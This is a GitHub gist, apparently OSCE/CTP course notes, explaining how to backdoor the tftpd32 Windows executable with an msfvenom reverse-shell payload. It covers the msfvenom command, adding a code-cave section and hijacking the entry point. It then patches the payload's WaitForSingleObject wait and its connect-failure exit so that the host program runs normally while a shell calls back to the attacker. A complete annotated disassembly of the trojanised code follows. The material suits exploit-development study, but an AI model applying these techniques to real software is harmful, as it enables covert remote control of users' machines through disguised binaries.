Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Joshua-Tan/058d706e7ab9972d5342bba59b3a1d52 to your computer and use it in GitHub Desktop.
Save Joshua-Tan/058d706e7ab9972d5342bba59b3a1d52 to your computer and use it in GitHub Desktop.
(OSCE/CTP, Module #3: Backdooring PE Files) Document explaining how to locate WaitForSingleObject(..., INFINITE) within msfvenom's generated payload and how to fix the payload's glitches.

Looking for WaitForSingleObject call within modern msfvenom generated payload.


Abstract

This is a document explaining how to locate WaitForSingleObject(..., INFINITE) within msfvenom's generated payload and how to fix the payload's glitches. It goes through the analysis of a windows/shell_reverse_tcp payload, touching issues like stack alignment, WaitForSingleObject locating & patching. It has been written when I realised there are many topics on the Offensive-Security OSCE/CTP forums touching problem of finding this particular Windows API. Since RE is one of my stronger FU's I decided to write down my explanation of the subject.

Contents:

  1. Generating a proper payload
  2. Preparing target executable.
  3. Embedding msfvenom payload to the code cave
  4. Explaining what the payload is all about
  5. Patching the Payload to make it work as needed
  6. Final payload with comments + hex string

Step 1: Generating a proper payload


Firstly, we are about to generate proper payload using msfvenom. The EXITFUNC=seh option was used.

The payload selected here will be windows/shell_reverse_tcp.

Here's the proper msfvenom invocation:

msfvenom  -p windows/shell_reverse_tcp exitfunc=seh LHOST=XXX.XXX.XXX.XXX LPORT=XXXX -f hex
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hex file: 648 bytes

We then take this payload and copy it into clipboard.

Step 2: Preparing target executable.


I've added a new section to the original executable: .NewSec, VOffset: 0x46000, VSize: 0x1000, ROffset: 0x2D000, RSize: 0x1000, Flags: 0xE000000E0

From now on I assume my code cave starts at 0x446000 (that is: ImageBase + VOffset ).

Step 3: Embedding msfvenom payload to the code cave


At the end of the day, we need to have our code cave follow such layout:

  1. PUSHAD
  2. PUSHFD
  3. MSFVENOM PAYLOAD
  4. POPFD
  5. POPAD
  6. CALL 0041B7DE - this was the first instruction we overwrote at the entry point (0x0041135E)
  7. JMP 00411363 - jump to the location that was immediately after our entry point.
  8. ADD ESP, 0x1A4 - Stack alignment, when payload couldn't connect
  9. JMP 0044614C - that is, jump to POPFD (item 4) so program can be executed normally

Step 4: Explaining what the payload is all about


Here's the explanation of the windows/shell_reverse_tcp payload in particular.

  1. ResolveImport(DWORD dwFunctionNameHash, DWORD dwLibraryNameHash, ...);

This is a function, located at the 0x00446060 (always this address will get passed via EBP register) that takes in a first argument a function name hash, then resolves it and calls with having supplied additional parameters passed originally to that routine:

; Function start
00446008       60            pushad                              ; ResolveImport(dwHash, ...);
00446009       89E5          mov     ebp, esp
0044600B       31C0          xor     eax, eax
0044600D       64 8B 50 30   mov     edx, dword ptr fs:[eax+30]
...
0044607F       5A            pop     edx
00446080       51            push    ecx
00446081     - FFE0          jmp     eax                         ; Call resolved import with supplied params
; Function end

That last JMP eax does actual function (import) call with supplied parameters, then it returns to the point where the ResolveImport function was called from, for instance:

0044608B       68 33320000   push    3233
00446090       68 7773325F   push    5F327377
00446095       54            push    esp
00446096       68 4C772607   push    726774C
0044609B       FFD5          call    ebp               ; ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll");
0044609D       B8 90010000   mov     eax, 190

Here's the code flow: 0x0044609B invokes the ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll"); function, that yields handle to the loaded ws2_32.dll DLL - the one responsible for internetwork communication API. Then, from the 00446081 JMP within ResolveImport - the payload will return to the 0x0044609D and take this up from that point on.

Having discussed how system imports are being invoked - here's the list of the APIs that get called:

  1. LoadLibrary("ws2_32.dll")
  2. WSAStartup(...)
  3. WSASocketA(...)
  4. connect(...)
  5. If connect succeeds: CreateProcess("cmd", ...)
  6. If connect succeeds: WaitForSingleObject(..., INFINITE)

Step 5: Patching the Payload to make it work as needed


A) Modifying the -1 (INFINITE) to 0 wait parameter.

Take a look at the below snippet:

00446112       68 79CC3F86   push    863FCC79
00446117       FFD5          call    ebp                         ; CreateProcess(cmd)
00446119       89E0          mov     eax, esp
0044611B       4E            dec     esi
0044611C       56            push    esi
0044611D       46            inc     esi
0044611E       FF30          push    dword ptr ds:[eax]
00446120       68 08871D60   push    601D8708
00446125       FFD5          call    ebp                         ; WaitForSingleObject(..., INFINITE)
00446127       BB FE0E32EA   mov     ebx, EA320EFE

This is the place where after creating a CMD process the payload goes into awaiting for the process to exit. When this happens, the payload may proceed to it's EXITFUNC.

Notice the most important sequence:

0044611B       4E            dec     esi
0044611C       56            push    esi
0044611D       46            inc     esi

This is the very place where the ESI which originally was 0x00000000 gets decremented resulting in -1 (0xffffffff). In order to prevent having -1 we've got to NOP out that dec esi instruction and the inc psi instruction:

0044611B       90            nop                                  ; PATCHED
0044611C       56            push    esi
0044611D       90            nop                                  ; PATCHED

B) The final patch that shall be applied is what happens when the payload fails connecting with our Kali/Backtrack machine. Originally it would go as far as:

004460D8       74 0C         je      short tftpd32-.004460E6
004460DA       FF4E 08       dec     dword ptr ds:[esi+8]
004460DD     ^ 75 EC         jnz     short tftpd32-.004460CB
004460DF       68 F0B5A256   push    56A2B5F0
004460E4       FFD5          call    ebp                         ; Probably ExitProcess
004460E6       68 636D6400   push    646D63
004460EB       89E3          mov     ebx, esp

This JE (0x004460D8) check would fail, resulting in decrementing tryAgain counter and when that counter hits a zero - the JNZ doesn't kick in, leading the payload straight to the ExitProcess which results in terminating our infected binary. No TFTPD window, sorry.

To remedy premature binary termination, the instruction at 0x004460DF was modified to allow us to make use of the empty space we have at the end of the PE file (specifically from 0x00446158) onwards.

004460D8       74 0C         je      short tftpd32-.004460E6
004460DA       FF4E 08       dec     dword ptr ds:[esi+8]
004460DD     ^ 75 EC         jnz     short tftpd32-.004460CB
004460DF       EB 77         jmp     short tftpd32_.00446158     ; jump to free space at end of PE file
004460E1       90            nop
004460E2       90            nop
004460E3       90            nop
004460E4       FFD5          call    ebp                         ; Probably ExitProcess
004460E6       68 636D6400   push    646D63
004460EB       89E3          mov     ebx, esp

Then, at 0x00446158, we have to do stack alignment. The ESP value is currently 0012FDDC. Prior to entering our shell code (immediately after PUSHFD), the ESP value was 0012FF80. Hence, we need to add esp, 0x1a4 to correct this. Thereafter, we'll have to resume normal execution of our program by doing a JMP 0044614C.

00446000     60              PUSHAD
00446001     9C              PUSHFD
00446002     FC              CLD
00446003     E8 82000000     CALL tftpd32_.0044608A
00446008     60              PUSHAD
00446009     89E5            MOV EBP,ESP
0044600B     31C0            XOR EAX,EAX
0044600D     64:8B50 30      MOV EDX,DWORD PTR FS:[EAX+30]
00446011     8B52 0C         MOV EDX,DWORD PTR DS:[EDX+C]
00446014     8B52 14         MOV EDX,DWORD PTR DS:[EDX+14]
00446017     8B72 28         MOV ESI,DWORD PTR DS:[EDX+28]
0044601A     0FB74A 26       MOVZX ECX,WORD PTR DS:[EDX+26]
0044601E     31FF            XOR EDI,EDI
00446020     AC              LODS BYTE PTR DS:[ESI]
00446021     3C 61           CMP AL,61
00446023     7C 02           JL SHORT tftpd32_.00446027
00446025     2C 20           SUB AL,20
00446027     C1CF 0D         ROR EDI,0D
0044602A     01C7            ADD EDI,EAX
0044602C    ^E2 F2           LOOPD SHORT tftpd32_.00446020
0044602E     52              PUSH EDX
0044602F     57              PUSH EDI
00446030     8B52 10         MOV EDX,DWORD PTR DS:[EDX+10]
00446033     8B4A 3C         MOV ECX,DWORD PTR DS:[EDX+3C]
00446036     8B4C11 78       MOV ECX,DWORD PTR DS:[ECX+EDX+78]
0044603A     E3 48           JECXZ SHORT tftpd32_.00446084
0044603C     01D1            ADD ECX,EDX
0044603E     51              PUSH ECX
0044603F     8B59 20         MOV EBX,DWORD PTR DS:[ECX+20]
00446042     01D3            ADD EBX,EDX
00446044     8B49 18         MOV ECX,DWORD PTR DS:[ECX+18]
00446047     E3 3A           JECXZ SHORT tftpd32_.00446083
00446049     49              DEC ECX
0044604A     8B348B          MOV ESI,DWORD PTR DS:[EBX+ECX*4]
0044604D     01D6            ADD ESI,EDX
0044604F     31FF            XOR EDI,EDI
00446051     AC              LODS BYTE PTR DS:[ESI]
00446052     C1CF 0D         ROR EDI,0D
00446055     01C7            ADD EDI,EAX
00446057     38E0            CMP AL,AH
00446059    ^75 F6           JNZ SHORT tftpd32_.00446051
0044605B     037D F8         ADD EDI,DWORD PTR SS:[EBP-8]
0044605E     3B7D 24         CMP EDI,DWORD PTR SS:[EBP+24]
00446061    ^75 E4           JNZ SHORT tftpd32_.00446047
00446063     58              POP EAX
00446064     8B58 24         MOV EBX,DWORD PTR DS:[EAX+24]
00446067     01D3            ADD EBX,EDX
00446069     66:8B0C4B       MOV CX,WORD PTR DS:[EBX+ECX*2]
0044606D     8B58 1C         MOV EBX,DWORD PTR DS:[EAX+1C]
00446070     01D3            ADD EBX,EDX
00446072     8B048B          MOV EAX,DWORD PTR DS:[EBX+ECX*4]
00446075     01D0            ADD EAX,EDX
00446077     894424 24       MOV DWORD PTR SS:[ESP+24],EAX
0044607B     5B              POP EBX
0044607C     5B              POP EBX
0044607D     61              POPAD
0044607E     59              POP ECX
0044607F     5A              POP EDX
00446080     51              PUSH ECX
00446081     FFE0            JMP EAX
00446083     5F              POP EDI
00446084     5F              POP EDI
00446085     5A              POP EDX
00446086     8B12            MOV EDX,DWORD PTR DS:[EDX]
00446088    ^EB 8D           JMP SHORT tftpd32_.00446017
0044608A     5D              POP EBP
0044608B     68 33320000     PUSH 3233
00446090     68 7773325F     PUSH 5F327377
00446095     54              PUSH ESP
00446096     68 4C772607     PUSH 726774C
0044609B     FFD5            CALL EBP
0044609D     B8 90010000     MOV EAX,190
004460A2     29C4            SUB ESP,EAX
004460A4     54              PUSH ESP
004460A5     50              PUSH EAX
004460A6     68 29806B00     PUSH 6B8029
004460AB     FFD5            CALL EBP
004460AD     50              PUSH EAX
004460AE     50              PUSH EAX
004460AF     50              PUSH EAX
004460B0     50              PUSH EAX
004460B1     40              INC EAX
004460B2     50              PUSH EAX
004460B3     40              INC EAX
004460B4     50              PUSH EAX
004460B5     68 EA0FDFE0     PUSH E0DF0FEA
004460BA     FFD5            CALL EBP
004460BC     97              XCHG EAX,EDI
004460BD     6A 05           PUSH 5
004460BF     68 ________     PUSH ________ ;LHOST
004460C4     68 ________     PUSH ________ ;LPORT
004460C9     89E6            MOV ESI,ESP
004460CB     6A 10           PUSH 10
004460CD     56              PUSH ESI
004460CE     57              PUSH EDI
004460CF     68 99A57461     PUSH 6174A599
004460D4     FFD5            CALL EBP
004460D6     85C0            TEST EAX,EAX
004460D8     74 0C           JE SHORT tftpd32_.004460E6
004460DA     FF4E 08         DEC DWORD PTR DS:[ESI+8]
004460DD    ^75 EC           JNZ SHORT tftpd32_.004460CB
004460DF     EB 77           JMP SHORT tftpd32_.00446158
004460E1     90              NOP
004460E2     90              NOP
004460E3     90              NOP
004460E4     FFD5            CALL EBP
004460E6     68 636D6400     PUSH 646D63
004460EB     89E3            MOV EBX,ESP
004460ED     57              PUSH EDI
004460EE     57              PUSH EDI
004460EF     57              PUSH EDI
004460F0     31F6            XOR ESI,ESI
004460F2     6A 12           PUSH 12
004460F4     59              POP ECX
004460F5     56              PUSH ESI
004460F6    ^E2 FD           LOOPD SHORT tftpd32_.004460F5
004460F8     66:C74424 3C 01>MOV WORD PTR SS:[ESP+3C],101
004460FF     8D4424 10       LEA EAX,DWORD PTR SS:[ESP+10]
00446103     C600 44         MOV BYTE PTR DS:[EAX],44
00446106     54              PUSH ESP
00446107     50              PUSH EAX
00446108     56              PUSH ESI
00446109     56              PUSH ESI
0044610A     56              PUSH ESI
0044610B     46              INC ESI
0044610C     56              PUSH ESI
0044610D     4E              DEC ESI
0044610E     56              PUSH ESI
0044610F     56              PUSH ESI
00446110     53              PUSH EBX
00446111     56              PUSH ESI
00446112     68 79CC3F86     PUSH 863FCC79
00446117     FFD5            CALL EBP
00446119     89E0            MOV EAX,ESP
0044611B     90              NOP
0044611C     56              PUSH ESI
0044611D     90              NOP
0044611E     FF30            PUSH DWORD PTR DS:[EAX]
00446120     68 08871D60     PUSH 601D8708
00446125     FFD5            CALL EBP
00446127     BB FE0E32EA     MOV EBX,EA320EFE
0044612C     68 A695BD9D     PUSH 9DBD95A6
00446131     FFD5            CALL EBP
00446133     3C 06           CMP AL,6
00446135     7C 0A           JL SHORT tftpd32_.00446141
00446137     80FB E0         CMP BL,0E0
0044613A     75 05           JNZ SHORT tftpd32_.00446141
0044613C     BB 4713726F     MOV EBX,6F721347
00446141     6A 00           PUSH 0
00446143     53              PUSH EBX
00446144     FFD5            CALL EBP
00446146     81C4 FC010000   ADD ESP,1FC
0044614C     9D              POPFD
0044614D     61              POPAD
0044614E     E8 8B56FDFF     CALL tftpd32_.0041B7DE
00446153    -E9 0BB2FCFF     JMP tftpd32_.00411363
00446158     81C4 A4010000   ADD ESP,1A4
0044615E    ^EB EC           JMP SHORT tftpd32_.0044614C
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment